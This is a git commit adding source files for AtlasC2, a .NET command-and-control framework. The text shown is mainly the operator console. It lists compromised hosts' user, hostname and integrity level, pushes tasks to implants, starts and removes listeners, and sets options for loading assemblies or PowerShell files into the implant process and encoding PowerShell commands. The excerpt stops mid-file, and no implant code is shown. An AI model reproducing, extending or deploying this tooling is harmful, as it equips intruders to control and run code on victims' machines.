Add project files.

This commit is contained in:
bikut 2021-12-26 20:40:51 -05:00
parent 6db9c1f9f0
commit 912b8e6b50
102 changed files with 3405 additions and 0 deletions

View File

@ -0,0 +1,7 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<TargetFramework>net5.0</TargetFramework>
</PropertyGroup>
</Project>

8
APIModels/Class1.cs Normal file
View File

@ -0,0 +1,8 @@
using System;
namespace APIModels
{
public class Class1
{
}
}

View File

@ -0,0 +1,25 @@
using System;
using System.Collections.Generic;
namespace APIModels.Requests
{
[Serializable]
public class TaskArgs
{
public string OptionName { get; set; }
public string OptionValue { get; set; }
}
[Serializable]
public class ArgsRecv{
public List<TaskArgs> Params { get; set; }
}
public class ImplantTaskRequest
{
public string Command { get; set; }
// json str, see alpha
public string Args { get; set; }
public string File { get; set; }
}
}

View File

@ -0,0 +1,14 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace APIModels.Requests
{
public class StartHTTPListenerRequest
{
public string Name { get; set; }
public int BindPort { get; set; }
}
}

43
AtlasC2b.sln Normal file
View File

@ -0,0 +1,43 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.31729.503
MinimumVisualStudioVersion = 10.0.40219.1
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Client", "Client\Client.csproj", "{5EE374BC-1028-4607-B4AC-BB11D4187DC8}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "APIModels", "APIModels\APIModels.csproj", "{CB05D019-8DE0-46C6-9BD4-72998ABA2492}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Implant", "Implant\Implant.csproj", "{6DE5ED01-804C-49BF-8F70-DF032CC6C189}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TeamServer", "TeamServer\TeamServer.csproj", "{BCC27BA8-EC55-4BED-8D2F-3FDC069D45B9}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{5EE374BC-1028-4607-B4AC-BB11D4187DC8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{5EE374BC-1028-4607-B4AC-BB11D4187DC8}.Debug|Any CPU.Build.0 = Debug|Any CPU
{5EE374BC-1028-4607-B4AC-BB11D4187DC8}.Release|Any CPU.ActiveCfg = Release|Any CPU
{5EE374BC-1028-4607-B4AC-BB11D4187DC8}.Release|Any CPU.Build.0 = Release|Any CPU
{CB05D019-8DE0-46C6-9BD4-72998ABA2492}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{CB05D019-8DE0-46C6-9BD4-72998ABA2492}.Debug|Any CPU.Build.0 = Debug|Any CPU
{CB05D019-8DE0-46C6-9BD4-72998ABA2492}.Release|Any CPU.ActiveCfg = Release|Any CPU
{CB05D019-8DE0-46C6-9BD4-72998ABA2492}.Release|Any CPU.Build.0 = Release|Any CPU
{6DE5ED01-804C-49BF-8F70-DF032CC6C189}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{6DE5ED01-804C-49BF-8F70-DF032CC6C189}.Debug|Any CPU.Build.0 = Debug|Any CPU
{6DE5ED01-804C-49BF-8F70-DF032CC6C189}.Release|Any CPU.ActiveCfg = Release|Any CPU
{6DE5ED01-804C-49BF-8F70-DF032CC6C189}.Release|Any CPU.Build.0 = Release|Any CPU
{BCC27BA8-EC55-4BED-8D2F-3FDC069D45B9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{BCC27BA8-EC55-4BED-8D2F-3FDC069D45B9}.Debug|Any CPU.Build.0 = Debug|Any CPU
{BCC27BA8-EC55-4BED-8D2F-3FDC069D45B9}.Release|Any CPU.ActiveCfg = Release|Any CPU
{BCC27BA8-EC55-4BED-8D2F-3FDC069D45B9}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {6DE16ECE-AC89-4765-A200-878B5007109A}
EndGlobalSection
EndGlobal

50
Client/APIComms/comms.cs Normal file
View File

@ -0,0 +1,50 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks;
namespace Client.Comms
{
class comms
{
public static string SendGET(string addr){
HttpWebRequest req = WebRequest.CreateHttp(addr);
using (HttpWebResponse resp = (HttpWebResponse)req.GetResponse()) {
using (Stream stream = resp.GetResponseStream()) {
using (StreamReader reader = new StreamReader(stream)) { return reader.ReadToEnd(); }
}
}
}
public static string SendPOST(string addr, string content){
HttpWebRequest req = WebRequest.CreateHttp(addr);
byte[] data = Encoding.UTF8.GetBytes(content);
req.Method = "POST";
req.ContentType = "application/json";
req.ContentLength = data.Length;
using (var stream = req.GetRequestStream()) { stream.Write(data, 0, data.Length); }
HttpWebResponse resp = (HttpWebResponse)req.GetResponse();
return new StreamReader(resp.GetResponseStream()).ReadToEnd();
}
public static string SendDELETE(string addr){
HttpWebRequest req = WebRequest.CreateHttp(addr);
req.Method = "DELETE";
using (HttpWebResponse resp = (HttpWebResponse)req.GetResponse()) {
using (Stream stream = resp.GetResponseStream()) {
using (StreamReader reader = new StreamReader(stream)) { return reader.ReadToEnd(); }
}
}
}
}
}

12
Client/Client.csproj Normal file
View File

@ -0,0 +1,12 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net5.0</TargetFramework>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="Newtonsoft.Json" Version="13.0.1" />
</ItemGroup>
</Project>

96
Client/JSON/Classes.cs Normal file
View File

@ -0,0 +1,96 @@
using System;
using System.Collections.Generic;
using System.Net;
namespace Client.JSON
{
public class Classes
{
[Serializable]
public class TaskArgs
{
public string OptionName { get; set; }
public string OptionValue { get; set; }
}
[Serializable]
public class ArgsRecv
{
public List<TaskArgs> Params { get; set; }
}
[Serializable]
public class ArgsData
{
//public string Taskname { get; set; }
public List<TaskArgs> Params { get; set; }
}
[Serializable]
public class TaskSend
{
public string Command { get; set; }
public string Args { get; set; }
public string File { get; set; }
//public byte[] File { get; set; }
}
[Serializable]
public class TaskSendOut
{
public string Id { get; set; }
public string Command { get; set; }
public string Args { get; set; }
public string File { get; set; }
//public byte[] File { get; set; }
}
[Serializable]
public class TaskRecvOut
{
public string Id { get; set; }
public string TaskOut { get;set; }
}
[Serializable]
public class StartListenerData
{
public string name { get; set; }
public int bindPort { get; set; }
}
[Serializable]
public class IData
{
public string id { get; set; }
public string hostName { get; set; }
public string user { get; set; }
public string procName { get; set; }
public string procID { get; set; }
public string integrity { get; set; }
public string arch { get; set; }
public string IPAddr { get; set; }
}
[Serializable]
public class ImplantData
{
public IData data { get; set; }
public string lastSeen { get; set; }
}
[Serializable]
public class Listeners
{
public string Name { get; set; }
}
[Serializable]
public class ListenerData
{
public string Name { get; set; }
public int bindPort { get; set; }
}
}
}

View File

@ -0,0 +1,13 @@
using System;
using System.Collections.Generic;
namespace Client.Models
{
abstract class Task
{
public abstract string TaskName { get; }
public abstract string Desc { get; }
public abstract List<Object> OptList { get; }
}
}

View File

@ -0,0 +1,9 @@
namespace Client.Models
{
public abstract class Util
{
public abstract string UtilName {get;}
public abstract string Desc { get; }
public abstract string UtilExecute(string[] opts);
}
}

View File

@ -0,0 +1,32 @@
using System;
using System.Collections.Generic;
using System.Net;
namespace Client.Models
{
class Client
{
public static bool Debug { get; set; } = false;
public static string TaskName { get; set; }
public static string argData { get; set; }
public static string sendData { get; set; }
public static byte[] assemBytes { get; set; }
public static string TeamServerAddr { get; set; }
public static string ConnectAddr { get; set; }
public static string CurrentImplant { get; set; }
public static string ImplantAddr { get; set; }
//public static bool ImplantStatus { get; set; }
public static bool running = true;
public static string Prompt = "> ";
public const string Ver = "v0.1";
public static List<String> ImplantList = new List<String>();
public static List<String> ListenerList = new List<String>();
public static List<String> Tasks = new List<String>();
public static readonly List<Util> _utils = new List<Util>();
public static readonly List<Task> _opts = new List<Task>();
}
}

View File

@ -0,0 +1,85 @@
namespace Client.Models
{
class TaskOptions
{
// https://www.youtube.com/watch?v=C6lhpNkw6H4
public static object assemName = new AssemName();
public static object assemType = new AssemType();
public static object assemMethod = new AssemMethod();
public static object retryCount = new Retry_count();
public static object timeout = new Timeout();
public static object command = new Command();
public static object assemBytes = new AssemBytes();
public static object psFile = new PSFile();
public static object debug = new Debug();
public static object encode = new Encode();
public class Encode
{
public string Name { get; set; } = nameof(encode);
public bool Value { get; set; } = false;
public string Desc { get; set; } = "encode PowerShell command";
}
public class Debug
{
public string Name { get; set; } = nameof(debug);
public bool Value { get; set; } = false;
public string Desc { get; set; } = "verbose output";
}
public class PSFile
{
public string Name { get; set; } = nameof(psFile);
public string Value { get; set; } = "";
public string Desc { get; set; } = "path to PowerShell file to load into implant process";
}
public class AssemBytes
{
public string Name { get; set; } = nameof(assemBytes);
public byte[] Value { get; set; } = Client.assemBytes;
public string Desc { get; set; } = "byte array to load into implant process";
}
public class Command
{
public string Name { get; set; } = nameof(command);
public string Value { get; set; } = "";
public string Desc { get; set; } = "command to execute";
}
public class Retry_count {
public string Name { get; set; } = nameof(retryCount);
public int Value { get; set; } = 3;
public string Desc { get; set; } = "set retry count";
}
public class Timeout {
public string Name { get; set; } = nameof(timeout);
public int Value { get; set; } = 5;
public string Desc { get; set; } = "set timeout";
}
public class AssemName
{
public string Name { get; set; } = nameof(assemName);
public string Value { get; set; } = "";
public string Desc { get; set; } = "select assembly name";
}
public class AssemType {
public string Name { get; set; } = nameof(assemType);
public string Value { get; set; } = "";
public string Desc { get; set; } = "select assembly type";
}
public class AssemMethod {
public string Name { get; set; } = nameof(assemMethod);
public string Value { get; set; } = "somemethod";
public string Desc { get; set; } = "select assembly method";
}
}
}

View File

@ -0,0 +1,12 @@
using System;
namespace Client.Models
{
public class AtlasException : Exception
{
// https://github.com/FortyNorthSecurity/EDD/blob/master/EDD/Models/EDDException.cs
public AtlasException(string message) : base(message) { }
public AtlasException(string message, Exception inner) : base(message, inner) { }
}
}

30
Client/Program.cs Normal file
View File

@ -0,0 +1,30 @@
using Client.Utils;
using static System.Console;
using static Client.Models.Client;
namespace Client
{
class Program
{
static void Main(string[] args)
{
UI.Banner();
TeamServerAddr = "http://127.0.0.1:5000";
while (running) {
if (CurrentImplant != null && !(Prompt.Contains($"{CurrentImplant}"))) { Prompt = $"[{CurrentImplant}] > "; }
else if (CurrentImplant is null) { Prompt = "> "; }
Write(Prompt);
var _out = ReadLine();
UI.Action(_out);
}
}
}
}

View File

@ -0,0 +1,28 @@
using System.Text;
namespace Client.Utils
{
public class Banner : Models.Util
{
public override string UtilName => "Banner";
public override string Desc => "Display banner";
public override string UtilExecute(string[] opts)
{
StringBuilder _out = new StringBuilder();
_out.AppendLine(
@" _____ __ .__ _________ ________ " + "\n" +
@" / _ \ _/ |_ | | _____ ______ \_ ___ \ \_____ \ " + "\n" +
@" / /_\ \ \ __\| | \__ \ / ___/ / \ \/ / ____/ " + "\n" +
@"/ | \ | | | |__ / __ \_ \___ \ \ \____/ \ " + "\n" +
@"\____|__ / |__| |____/(____ //____ > \______ /\_______ \" + "\n" +
@" \/ \/ \/ \/ \/" + "\n" +
$"\tVer: {Models.Client.Ver} \n\tAuthor: Grimmie\n"
);
return _out.ToString();
}
}
}

View File

@ -0,0 +1,64 @@
using System;
using Client.Models;
using static System.Console;
namespace Client.Utils.ClientUtils
{
class ByteConvert : Models.Util
{
private bool isRemote {get;set;}
private string File { get; set; }
private int Timeout { get; set; } = 3;
private int retryCount { get; set; } = 2;
public override string UtilName => "ByteConvert";
public override string Desc => "Fetches a local or remote file and converts into a byte array";
public override string UtilExecute(string[] opts)
{
try
{
if (opts is null) { throw new AtlasException($"[*] Usage: ByteConvert [isRemote] [filePath] <timeout> <retryCount>\n"); }
if (opts.Length < 3) { throw new AtlasException($"[*] Usage: ByteConvert [isRemote] [filePath] <timeout> <retryCount>\n"); }
if (opts[1].ToLower() is "true" || opts[1] is "false") {
if (opts[1].ToLower() is "true") {
isRemote = true;
File = opts[2];
}
if (opts[1].ToLower() is "false") {
isRemote = false;
File = opts[2];
}
} else { throw new AtlasException($"[*] Usage: ByteConvert [isRemote] [filePath] <timeout> <retryCount>\n"); }
try {
if (opts.Length > 3) { Timeout = Int32.Parse(opts[3]); }
if (opts.Length > 3 && opts.Length <= 5) { retryCount = Int32.Parse(opts[4]); }
} catch (FormatException) { throw new AtlasException($"[*] Usage: ByteConvert [isRemote] [filePath] <timeout> <retryCount>\n"); }
if (!isRemote) {
WriteLine($"{nameof(isRemote)}: {isRemote}\n" +
$"{nameof(File)}: {File}\n" );
} else {
WriteLine($"{nameof(isRemote)}: {isRemote}\n" +
$"{nameof(File)}: {File}\n" +
$"{nameof(Timeout)}: {Timeout}\n" +
$"{nameof(retryCount)}: {retryCount}\n"
);
}
if (isRemote) {
TaskOps.SmraatFetch(File, Timeout, retryCount);
} else { TaskOps.SmraatFetch(File); }
Client.Models.TaskOptions.assemBytes.SetPropertyValue("Value", Client.Models.Client.assemBytes);
return $"[*] Converted {File} to byte array and stored in assemBytes\n";
} catch (AtlasException e) { return e.Message; }
}
}
}

View File

@ -0,0 +1,11 @@
using System;
namespace Client.Utils
{
class Clear : Models.Util
{
public override string UtilName => "Clear";
public override string Desc => "Clears screen";
public override string UtilExecute(string[] opts) { Console.Clear(); return ""; }
}
}

View File

@ -0,0 +1,37 @@
using System.Text;
using static Client.Models.Client;
namespace Client.Utils
{
public class Commands : Models.Util
{
public override string UtilName => "Commands";
public override string Desc => "List available commands";
public override string UtilExecute(string[] opts)
{
StringBuilder _out = new StringBuilder();
if (_utils.Count == 0) { Init.UtilInit(); }
foreach (Models.Util cmd in _utils){ _out.AppendLine($"{cmd.UtilName,-25} {cmd.Desc}"); }
// separate based on usage
/* ie
* ImplantUtils
* ------------
* xyz
*
* ListenerUtils
* -------------
* xyz
*
* etc
*/
return _out.ToString();
}
}
}

View File

@ -0,0 +1,11 @@
using System;
namespace Client.Utils
{
class Exit : Models.Util
{
public override string UtilName => "Exit";
public override string Desc => "Exit AtlasC2";
public override string UtilExecute(string[] opts){ Environment.Exit(0); return ""; }
}
}

View File

@ -0,0 +1,30 @@
using System.Text;
using static Client.Models.Client;
namespace Client.Utils
{
class Options : Models.Util
{
public override string UtilName => "Options";
public override string Desc => "List AtlasC2 Options";
public override string UtilExecute(string[] opts)
{
StringBuilder _out = new StringBuilder();
_out.AppendLine(
"TeamServer:\n" +
$"\t{nameof(TeamServerAddr)}:{TeamServerAddr, 25}\n" +
"Implant:\n" +
$"\t{nameof(CurrentImplant)}:{CurrentImplant, 12}\n" +
$"\t{nameof(ImplantAddr)}:{ImplantAddr, 19}\n"+
"Tasks:\n" +
$"\t{nameof(TaskName)}:{TaskName, 14}\n"
//$"\t{nameof(Debug)}:{Debug, 18}"
);
return _out.ToString();
}
}
}

View File

@ -0,0 +1,35 @@
using System;
using Client.Models;
namespace Client.Utils
{
class SetOpt : Models.Util
{
string OptName { get; set; }
string OptVal { get; set; }
public override string UtilName => "SetOpt";
public override string Desc => "Set an option";
public override string UtilExecute(string[] opts)
{
try
{
if (opts is null) { throw new AtlasException($"[-] No parameters passed\nUsage: SetOpt [optionName] [optionValue]"); }
OptName = opts[1];
OptVal = opts[2];
if (OptName == null) { throw new AtlasException($"[-] Invalid parameters passed\nUsage: SetOpt [optionName] [optionValue]"); }
if (OptVal == null) { throw new AtlasException($"[-] Invalid parameters passed\nUsage: SetOpt [optionName] [optionValue]"); }
return $"{OptName} set to {OptVal}";
} catch (AtlasException e) { return e.Message; }
throw new NotImplementedException();
}
}
}

View File

@ -0,0 +1,34 @@
using System;
using System.Linq;
using Client.Models;
using static Client.Models.Client;
using static Client.Utils.Init;
namespace Client.Util
{
class SetTask : Models.Util
{
string cTaskName {get;set;}
public override string UtilName => "SetTask";
public override string Desc => "Set a task";
public override string UtilExecute(string[] opts)
{
try
{
if (opts is null) { throw new AtlasException($"[-] No parameters passed\nUsage: SetTask [taskName]"); }
cTaskName = opts[1];
if (_opts.Count == 0) { OptInit(); }
Task util = _opts.FirstOrDefault(u => u.TaskName.Equals(cTaskName, StringComparison.InvariantCultureIgnoreCase));
if (util is null) { throw new AtlasException($"[-] {cTaskName} is an invalid task\n"); }
else{ TaskName = cTaskName; return $"[*] Task set to {TaskName}\n"; }
} catch (AtlasException e) { return $"{e.Message}\n"; }
}
}
}

View File

@ -0,0 +1,40 @@
using Client.Models;
using static Client.Utils.TaskOps;
using static Client.Models.Client;
namespace Client.Utils
{
class SetTaskOpt : Models.Util
{
string OptName { get; set; }
string OptValue { get; set; }
public override string UtilName => "SetTaskOpt";
public override string Desc => "Set a task option";
public override string UtilExecute(string[] opts)
{
try
{
if ((TaskName is null)) { throw new AtlasException($"[-] Select a task before attempting to set task options\n"); }
if (opts is null) { throw new AtlasException($"[*] Usage: SetTaskOpt [optionName] [optionValue]\n"); }
OptName = opts[1];
OptValue = opts[2];
var optList = ReturnMethod();
foreach (var opt in optList){
if (opt.GetPropertyValue("Name").ToString().Equals(OptName, System.StringComparison.InvariantCultureIgnoreCase)) {
opt.SetPropertyValue("Value", OptValue);
break;
}
else { throw new AtlasException($"[-] Option {OptName} does not exist in the current context\n"); }
}
return $"[*] {OptName} set to {OptValue}\n";
} catch (AtlasException e ) { return $"{e.Message}"; }
}
}
}

View File

@ -0,0 +1,38 @@
using System.Text;
using Client.Models;
using static Client.Utils.TaskOps;
using static Client.Models.Client;
namespace Client.Utils
{
class TaskOpts : Models.Util
{
public override string UtilName => "TaskOpts";
public override string Desc => "View task options";
public override string UtilExecute(string[] opts)
{
try
{
StringBuilder _out = new StringBuilder();
var options = ReturnMethod();
_out.AppendLine($"Task Options ({TaskName})\n");
_out.AppendLine($"{"Name",-25} {"Value",-35} {"Description",-50}");
_out.AppendLine($"{"----",-25} {"-----",-35} {"-----------",-50}");
foreach (var opt in options)
{
_out.AppendLine($"{opt.GetPropertyValue("Name"),-25} {opt.GetPropertyValue("Value"),-35} {opt.GetPropertyValue("Desc"),-50}");
}
_out.AppendLine();
return _out.ToString().Trim('\n');
} catch (AtlasException e) { return e.Message; }
}
}
}

View File

@ -0,0 +1,22 @@
using System.Text;
using static Client.Models.Client;
namespace Client.Utils
{
class Tasks : Models.Util
{
public override string UtilName => "Tasks";
public override string Desc => "List tasks";
public override string UtilExecute(string[] opts)
{
StringBuilder _out = new StringBuilder();
if (_opts.Count == 0) { Init.OptInit(); }
foreach (Models.Task task in _opts) { _out.AppendLine($"{task.TaskName,-25} {task.Desc}"); }
return _out.ToString();
}
}
}

View File

@ -0,0 +1,41 @@
using System.Linq;
using System.Text;
using Newtonsoft.Json;
using Client.Models;
using static Client.Models.Client;
namespace Client.Utils
{
class Connect : Models.Util
{
public override string UtilName => "Connect";
public override string Desc => "Select an implant to interface with";
public override string UtilExecute(string[] opts){
try
{
if (opts is null) { throw new AtlasException($"[-] No parameters passed\nUsage: Connect [implantName]\n"); }
if(opts.Length > 2) { throw new AtlasException($"[*] Incorrect parameters passed\nUsage: Connect [implantName]\n"); }
StringBuilder _out = new StringBuilder();
var implantName = opts[1];
var _implant = ImplantList.FirstOrDefault(implant => implant.Equals(implantName));
if(_implant is null) { throw new AtlasException($"[-] Implant {implantName} does not exist"); }
var _implantJSON = Comms.comms.SendGET($"{TeamServerAddr}/implants/{_implant}").TrimStart('[').TrimEnd(']');
var _implantData = JsonConvert.DeserializeObject<JSON.Classes.ImplantData>(_implantJSON);
CurrentImplant = _implant;
ImplantAddr = _implantData.data.IPAddr;
_out.AppendLine($"[*] Set current implant to {CurrentImplant}");
return _out.ToString();
} catch (AtlasException e) { return $"{e.Message}"; }
}
}
}

View File

@ -0,0 +1,22 @@
using Client.Models;
namespace Client.Utils
{
class Disconnect : Models.Util
{
public override string UtilName => "Disconnect";
public override string Desc => "Disconnect an implant";
public override string UtilExecute(string[] opts)
{
try
{
if(Models.Client.CurrentImplant is null) { throw new AtlasException($"[-] No current implant set\n"); }
Models.Client.CurrentImplant = null;
Models.Client.ImplantAddr = null;
return "";
} catch (AtlasException e) { return e.Message; }
}
}
}

View File

@ -0,0 +1,50 @@
using System.Text;
using System.Linq;
using Newtonsoft.Json;
using Client.Models;
using static Client.Models.Client;
namespace Client.Utils
{
class Implants : Models.Util
{
public JSON.Classes.ImplantData ImplantData { get; set; }
public override string UtilName => "Implants";
public override string Desc => "List connected implants";
public override string UtilExecute(string[] opts)
{
try
{
StringBuilder _out = new StringBuilder();
var implants = Comms.comms.SendGET($"{TeamServerAddr}/Implants").TrimStart('[').TrimEnd(']');
if (implants.Length == 0) { throw new AtlasException("[*] No active implants\n"); }
_out.AppendLine($"{"ImplantId",-20} {"Hostname",-25} {"Intergity",-20} {"LastSeen",-20}");
_out.AppendLine($"{"----------",-20} {"--------",-25} {"---------",-20} {"--------",-20}");
if (implants.Contains("},{")) { implants = implants.Replace("},{", "}&{"); }
var implantList = implants.Split('&');
foreach(var _implant in implantList){
ImplantData = JsonConvert.DeserializeObject<JSON.Classes.ImplantData>(_implant);
Models.Client.ImplantList.Add(ImplantData.data.id);
_out.AppendLine($"{ImplantData.data.id,-20} {ImplantData.data.hostName, -25} {ImplantData.data.integrity, -20}" +
$" {ImplantData.lastSeen, -20}");
}
ImplantList = ImplantList.Distinct().ToList();
return _out.ToString();
}
catch (AtlasException e) { return $"{e.Message}"; }
catch (System.Net.WebException) { return $"[-] Connection to teamserver could not be established, verify teamserver is active\n"; }
}
}
}

View File

@ -0,0 +1,44 @@
using System.Text;
using System.Threading;
using Client.Models;
using static System.Console;
using static Client.Models.Client;
namespace Client.Utils
{
class SendTask : Models.Util
{
public override string UtilName => "SendTask";
public override string Desc => "Push a task to implant for execution";
public override string UtilExecute(string[] opts)
{
try {
StringBuilder _out = new StringBuilder();
argData = JSONOps.PackTaskArgs().Replace('"'.ToString(),"\\\"");
sendData = JSONOps.PackTaskData(argData);
var tasksendOut = Comms.comms.SendPOST($"{TeamServerAddr}/Implants/{CurrentImplant}", sendData).TrimStart('[').TrimEnd(']');
var taskId = JSONOps.ReturnTaskID(tasksendOut);
WriteLine($"Task {taskId.Id} Initialized");
Thread.Sleep(3000);
var taskOut = Comms.comms.SendGET($"{TeamServerAddr}/Implants/{CurrentImplant}/tasks/{taskId.Id}");
var taskOutrecv = JSONOps.ReturnTaskData(taskOut);
WriteLine($"Task {taskId.Id} Complete\n");
Thread.Sleep(1000);
_out.AppendLine(taskOutrecv.TaskOut);
return _out.ToString();
}
catch (AtlasException e) { return e.Message; }
//catch (System.Net.WebException) { return $"[-] Connection to teamserver could not be established, verify teamserver is active\n"; }
}
}
}

View File

@ -0,0 +1,42 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Client.Models;
using static Client.Models.Client;
namespace Client.Utils.ImplantUtils
{
class TaskOut : Models.Util
{
private string taskId { get; set; }
public override string UtilName => "TaskOut";
public override string Desc => "Returns the output of a specified task";
public override string UtilExecute(string[] opts)
{
try
{
if (opts is null) { throw new AtlasException($"[-] No parameters passed\nUsage: TaskOut [taskId]\n"); }
if (opts.Length > 2) { throw new AtlasException($"[*] Incorrect parameters passed\nUsage: TaskOut [taskId]\n"); }
taskId = opts[1];
StringBuilder _out = new StringBuilder();
var taskOut = Comms.comms.SendGET($"{TeamServerAddr}/Implants/{CurrentImplant}/{taskId}");
var parsedTaskOut = JSONOps.ReturnTaskData(taskOut);
_out.AppendLine(parsedTaskOut.TaskOut);
return _out.ToString();
}
catch (AtlasException e) { return e.Message; }
catch (System.Net.WebException) { return $"[-] Connection to teamserver could not be established, verify teamserver is active\n"; }
}
}
}

View File

@ -0,0 +1,48 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Newtonsoft.Json;
using Client.Models;
using static Client.Models.Client;
namespace Client.Utils.ImplantUtils
{
class TasksOut : Models.Util
{
private JSON.Classes.TaskRecvOut taskData { get; set; }
public override string UtilName => "TasksOut";
public override string Desc => "Return all tasks for given implant";
public override string UtilExecute(string[] opts)
{
try
{
StringBuilder _out = new StringBuilder();
var tasks = Comms.comms.SendGET($"{TeamServerAddr}/Implants/{CurrentImplant}/tasks").TrimStart('[').TrimEnd(']');
if (tasks.Length == 0) { throw new AtlasException("[*] No tasks to view\n"); }
if (tasks.Contains("},{")) { tasks = tasks.Replace("},{", "}&{"); }
var taskList = tasks.Split('&');
foreach (var _task in taskList)
{
taskData = JsonConvert.DeserializeObject<JSON.Classes.TaskRecvOut>(_task);
_out.AppendLine($"{taskData.Id} {TaskName}");
}
return _out.ToString();
} catch (AtlasException e) { return e.Message; }
catch (System.Net.WebException) { return $"[-] Connection to teamserver could not be established or no implant currently set\n"; }
}
}
}

View File

@ -0,0 +1,45 @@
using System.Text;
using Newtonsoft.Json;
using Client.Models;
using static Client.Models.Client;
namespace Client.Utils.ImplantUtils
{
class ViewImplant : Models.Util
{
public override string UtilName => "ViewImplant";
public override string Desc => "Returns all data from specified implant";
public override string UtilExecute(string[] opts)
{
try
{
if (CurrentImplant is null) { throw new AtlasException($"[-] No implant selected"); }
StringBuilder _out = new StringBuilder();
var _implantJSON = Comms.comms.SendGET($"{TeamServerAddr}/implants/{CurrentImplant}").TrimStart('[').TrimEnd(']');
var _implantData = JsonConvert.DeserializeObject<JSON.Classes.ImplantData>(_implantJSON);
_out.AppendLine($"{nameof(_implantData.data.id),-25} {_implantData.data.id}\n" +
$"{nameof(_implantData.data.user),-25} {_implantData.data.user}\n" +
$"{nameof(_implantData.data.hostName),-25} {_implantData.data.hostName}\n" +
$"{nameof(_implantData.data.integrity),-25} {_implantData.data.integrity}\n" +
$"{nameof(_implantData.data.arch),-25} {_implantData.data.arch}\n" +
$"{nameof(_implantData.data.procID),-25} {_implantData.data.procID}\n" +
$"{nameof(_implantData.data.procName),-25} {_implantData.data.procName}\n" +
$"{nameof(_implantData.data.IPAddr),-25} {_implantData.data.IPAddr}\n" +
$"{nameof(_implantData.lastSeen),-25} {_implantData.lastSeen}"
);
return _out.ToString();
} catch (AtlasException e) { return e.Message; }
catch (System.Net.WebException) { return $"[-] Connection to teamserver could not be established, verify teamserver is active\n"; }
}
}
}

View File

@ -0,0 +1,48 @@
using System.Linq;
using System.Text;
using Newtonsoft.Json;
using Client.Models;
using static Client.Models.Client;
namespace Client.Utils
{
class Listeners : Models.Util
{
private JSON.Classes.Listeners Listener { get; set; }
public override string UtilName => "Listeners";
public override string Desc => "list active listeners";
public override string UtilExecute(string[] opts)
{
try
{
StringBuilder _out = new StringBuilder();
var listeners = Comms.comms.SendGET($"{TeamServerAddr}/Listeners").TrimStart('[').TrimEnd(']');
if (listeners.Length == 0) { throw new AtlasException("[*] No active listeners"); }
_out.AppendLine("Name");
_out.AppendLine("----");
if (listeners.Contains("},{")) { listeners = listeners.Replace("},{", "}&{"); }
var listenersList = listeners.Split('&');
foreach (var listener in listenersList) {
Listener = JsonConvert.DeserializeObject<JSON.Classes.Listeners>(listener);
ListenerList.Add(Listener.Name);
_out.AppendLine(Listener.Name); }
ListenerList = ListenerList.Distinct().ToList();
return _out.ToString();
} catch (AtlasException e) { return $"{e.Message}\n"; }
catch (System.Net.WebException) { return $"[-] Connection to teamserver could not be established, verify teamserver is active\n"; }
}
}
}

View File

@ -0,0 +1,42 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Client.Models;
using static Client.Models.Client;
using static Client.Comms.comms;
namespace Client.Utils
{
class RemoveListener : Models.Util
{
private string ListenerName { get; set; }
public override string UtilName => "RemoveListener";
public override string Desc => "Remove a listener";
public override string UtilExecute(string[] opts)
{
try{
StringBuilder _out = new StringBuilder();
if (opts is null) { throw new AtlasException($"[*] Usage: ViewListener [ListenerName]\n"); }
ListenerName = opts[1];
var _listener = ListenerList.FirstOrDefault(listener => listener.Equals(ListenerName));
if (_listener is null) { throw new AtlasException($"[-] Listener {ListenerName} does not exist\n"); }
SendDELETE($"{TeamServerAddr}/Listeners?name={ListenerName}");
_out.AppendLine($"[*] Removed listener {ListenerName}");
return _out.ToString();
} catch (AtlasException e) { return $"{e.Message}"; }
catch (System.Net.WebException) { return $"[-] Connection to teamserver could not be established, verify teamserver is active\n"; }
}
}
}

View File

@ -0,0 +1,44 @@
using System;
using System.Text;
using Client.Models;
using static Client.Models.Client;
using static Client.Comms.comms;
namespace Client.Utils
{
class StartListener : Models.Util
{
private string ListenerName { get; set; }
private int ListenerPort { get; set; }
public override string UtilName => "StartListener";
public override string Desc => "create a new listener";
public override string UtilExecute(string[] opts)
{
try
{
StringBuilder _out = new StringBuilder();
if (opts is null) { throw new AtlasException($"[*] Usage: StartListener [ListenerName] [ListenerPort]\n"); }
ListenerName = opts[1];
ListenerPort = Int32.Parse(opts[2]);
if(ListenerPort < 0 && ListenerPort > 65535) { throw new AtlasException($"[-] ListenerPort must be a valid port"); }
SendPOST($"{TeamServerAddr}/Listeners", JSONOps.PackStartListenerData(ListenerName, ListenerPort));
_out.AppendLine($"[*] Started listener {ListenerName} running on port {ListenerPort}");
return _out.ToString();
} catch (AtlasException e) { return $"{e.Message}\n"; }
catch (System.Net.WebException) { return $"[-] Connection to teamserver could not be established, verify teamserver is active\n"; }
}
}
}

View File

@ -0,0 +1,43 @@
using System.Text;
using Client.Models;
using static Client.Models.Client;
using static Client.Comms.comms;
using Newtonsoft.Json;
namespace Client.Utils
{
